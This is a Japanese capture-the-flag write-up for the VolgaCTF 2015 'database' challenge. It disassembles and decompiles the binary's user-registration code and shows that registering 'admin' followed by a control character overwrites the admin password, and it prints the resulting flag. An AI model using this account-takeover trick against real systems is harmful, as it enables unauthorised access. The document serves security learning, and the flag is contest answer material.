手探り
$ nc database.2015.volgactf.ru 7777
>> help
Unknown command or incorrect number of parameteres.
>> pwd
Unknown command or incorrect number of parameteres.
$ file database
database: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
Linux 64bit形式だと言う事が分かる。
$ more database
"database" may be a binary file. See it anyway?
バイナリか・・・
$ strings database
admin
get_flag
whoami
login
register
get_info
set_info
get_flag_prohibited
get_flag
>> admin
Unknown command or incorrect number of parameteres.
>> get_flag
This command is prohibited to non-admin users
>> whoami
Unknown command or incorrect number of parameteres.
>> login
Unknown command or incorrect number of parameteres.
>> register
Unknown command or incorrect number of parameteres.
>> get_info
admin : {it_is_not_the_flag!}
>> set_info
Unknown command or incorrect number of parameteres.
>> get_flag_prohibited
Unknown command or incorrect number of parameteres.
>> get_flag
This command is prohibited to non-admin users.
adminになれば色々コマンドが打てる事が分かった。
どうすればadminになれるか。
adminを登録すれば良いのか。
$ sudo objdump -d database
0000000000401436 <register_user>:
401436: 55 push %rbp
401437: 48 89 e5 mov %rsp,%rbp
40143a: 48 83 ec 30 sub $0x30,%rsp
40143e: 89 7d ec mov %edi,-0x14(%rbp)
401441: 48 89 75 e0 mov %rsi,-0x20(%rbp)
401445: 48 89 55 d8 mov %rdx,-0x28(%rbp)
401449: 48 89 4d d0 mov %rcx,-0x30(%rbp)
40144d: 48 83 7d d8 00 cmpq $0x0,-0x28(%rbp)
401452: 74 07 je 40145b <register_user+0x25>
401454: 48 83 7d d0 00 cmpq $0x0,-0x30(%rbp)
401459: 75 2a jne 401485 <register_user+0x4f>
40145b: 48 8b 05 2e 1d 20 00 mov 0x201d2e(%rip),%rax
401462: 48 89 c7 mov %rax,%rdi
401465: e8 d6 f9 ff ff callq 400e40 <strlen@plt>
40146a: 48 89 c2 mov %rax,%rdx
40146d: 48 8b 35 1c 1d 20 00 mov 0x201d1c(%rip),%rsi
401474: 8b 45 ec mov -0x14(%rbp),%eax
401477: b9 00 00 00 00 mov $0x0,%ecx
40147c: 89 c7 mov %eax,%edi
40147e: e8 ed f9 ff ff callq 400e70 <send@plt>
401483: eb 6a jmp 4014ef <register_user+0xb9>
401485: 48 8b 05 2c 1d 20 00 mov 0x201d2c(%rip),%rax
40148c: 48 8b 55 d8 mov -0x28(%rbp),%rdx
401490: 48 89 d6 mov %rdx,%rsi
401493: 48 89 c7 mov %rax,%rdi
401496: e8 95 f9 ff ff callq 400e30 <g_hash_table_lookup@plt>
40149b: 48 89 45 f8 mov %rax,-0x8(%rbp)
40149f: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
4014a4: 74 2a je 4014d0 <register_user+0x9a>
4014a6: 48 8b 05 cb 1c 20 00 mov 0x201ccb(%rip),%rax
4014ad: 48 89 c7 mov %rax,%rdi
4014b0: e8 8b f9 ff ff callq 400e40 <strlen@plt>
4014b5: 48 89 c2 mov %rax,%rdx
4014b8: 48 8b 35 b9 1c 20 00 mov 0x201cb9(%rip),%rsi
4014bf: 8b 45 ec mov -0x14(%rbp),%eax
4014c2: b9 00 00 00 00 mov $0x0,%ecx
4014c7: 89 c7 mov %eax,%edi
4014c9: e8 a2 f9 ff ff callq 400e70 <send@plt>
4014ce: eb 1f jmp 4014ef <register_user+0xb9>
4014d0: 48 8b 4d d0 mov -0x30(%rbp),%rcx
4014d4: 48 8b 45 d8 mov -0x28(%rbp),%rax
4014d8: ba 00 00 00 00 mov $0x0,%edx
4014dd: 48 89 ce mov %rcx,%rsi
4014e0: 48 89 c7 mov %rax,%rdi
4014e3: e8 8c fc ff ff callq 401174 <insert_new_user>
4014e8: 48 8b 55 e0 mov -0x20(%rbp),%rdx
4014ec: 48 89 02 mov %rax,(%rdx)
4014ef: c9 leaveq
4014f0: c3 retq
eとかrとかめちゃくちゃになってるのは仕方なし。
rdi = 0x14(20)
rsi = 0x20(32)
rdx = 0x28(40)
rcx = 0x30(48)
$0x0,-0x28(rdx = 0x0(null))の場合、もしくは$0x0,-0x30(rcx = 0x0(null))の場合、
strlen関数持って来て、rdi = 0x14(20)の文字列の長さをno_dataポインタに格納 + raxに返り値を入れる。
って一個ずつやってもいいんですが、IDAproやhopper使うと見易くなります。
Hopperで解析
registerコマンドしっかりありました。
function register_user {
var_28 = rdi;
var_16 = rsi;
var_8 = rdx;
var_0 = rcx;
if ((var_8 == 0x0) || (var_0 == 0x0)) {
rax = strlen(*no_data);
rax = send(var_28, *no_data, rax, 0x0);
}
else {
rax = g_hash_table_lookup(*users, var_8, var_8);
var_40 = rax;
if (var_40 != 0x0) {
rax = strlen(*user_exists);
rax = send(var_28, *user_exists, rax, 0x0);
}
else {
rax = insert_new_user(var_8, var_0, 0x0, var_0);
*var_16 = rax;
}
}
return rax;
}
さっきより見やすい。
全体の流れはこんな感じ。
①var_28, 16, 8, 0を各レジスタに格納。
②もし、var_8か、var_0がnull(0x0)の場合、
・文字列の長さ(整数)をno_dataポインタに格納。(raxレジスタに返り値を入れる)
・var_28(ソケットディスクリプタ)を使って、no_dataポインタに格納された文字列の長さの値を送る。
③それ以外の場合、
・var_8(引数1。ユーザ名)var_8(引数2。パスワード)をusersポインタに格納
③-1 もし、var_40がnull(0x0)じゃ無い場合、
・文字列の長さ(整数)をuser_exitsポインタに格納。
・var_28(ソケットディスクリプタ)を使って、user_exitsポインタに格納された文字列の長さの値を送る。
③-2 それ以外は、
・insert_new_user functionより、新しいユーザを作る
つまり、入力ユーザが指定されてない場合と、入力ユーザが指定されてる場合は、①入力ユーザが既に存在しない場合②入力ユーザが存在してない場合
に分かれる。
function insert_new_user {
var_24 = rdi;
var_16 = rsi;
var_8 = rdx;
rax = calloc(0x40, 0x1);
var_32 = rax;
rax = rtrim(var_24);
strncpy(var_32, rax, 0x40);
*(int8_t *)(var_32 + 0x40) = 0x0;
rax = calloc(0x80, 0x1);
var_40 = rax;
rax = rtrim(var_16);
strncpy(var_40, rax, 0x40);
*(int8_t *)(var_40 + 0x40) = 0x0;
if (var_8 != 0x0) {
rax = rtrim(var_8);
strncpy(var_40 + 0x40, rax, 0x40);
*(int8_t *)(var_40 + 0x80) = 0x0;
}
rax = g_hash_table_insert(*users, var_32, var_40, var_32);
return var_32;
}
うーむ。idapro欲しい。
もし入力ユーザが存在してる場合は、rtrimを使って削除して、strncpy(文字列をn文字コピー) で上書きする動きなのは分かる。
function rtrim {
var_8 = rdi;
rax = strlen(var_8);
var_24 = var_8 + rax + 0xffffffffffffffff;
loc_401164:
if (var_24 >= var_8) goto loc_401126;
goto loc_40116e;
loc_401126:
if (((*(int8_t *)var_24 & 0xff) != 0xd) && ((*(int8_t *)var_24 & 0xff) != 0xa)) goto loc_40113c;
goto loc_401158;
loc_40113c:
if (((*(int8_t *)var_24 & 0xff) != 0x20) && ((*(int8_t *)var_24 & 0xff) != 0x9)) goto loc_401152;
goto loc_401158;
loc_401152:
rax = var_8;
loc_401172:
return rax;
loc_401158:
*(int8_t *)var_24 = 0x0;
var_24 = var_24 - 0x1;
goto loc_401164;
loc_40116e:
rax = var_8;
goto loc_401172;
}
loc_401126:で0xdと0xa(改行コード)を無視している
loc_40113c:で0x20と0x9(スペースとタブ)を無視している
http://ratan.dyndns.info/MicrosoftVisualC++/eskape.html
ということは、第一引数のユーザ名で、
adminの後に改行コード(inuxだとctrl+v, ctrl+mで出来る^M。CR。)か、tabコード(LF。0xA。普通にタブを押せば入る)を入れれば、新しいユーザとして認識され、パスワードを上書きしてしまう脆弱性っぽい
ちなみにスペースだと引数が増えるだけなのでだめ。
実際にやってみる
$ nc database.2015.volgactf.ru 7777
>> whoami
You are not even logged in!
>> register admin a
>> whoami
You are admin.
>> get_flag
flag: {does_it_look_like_column_tr@ncation}
答え
{does_it_look_like_column_tr@ncation}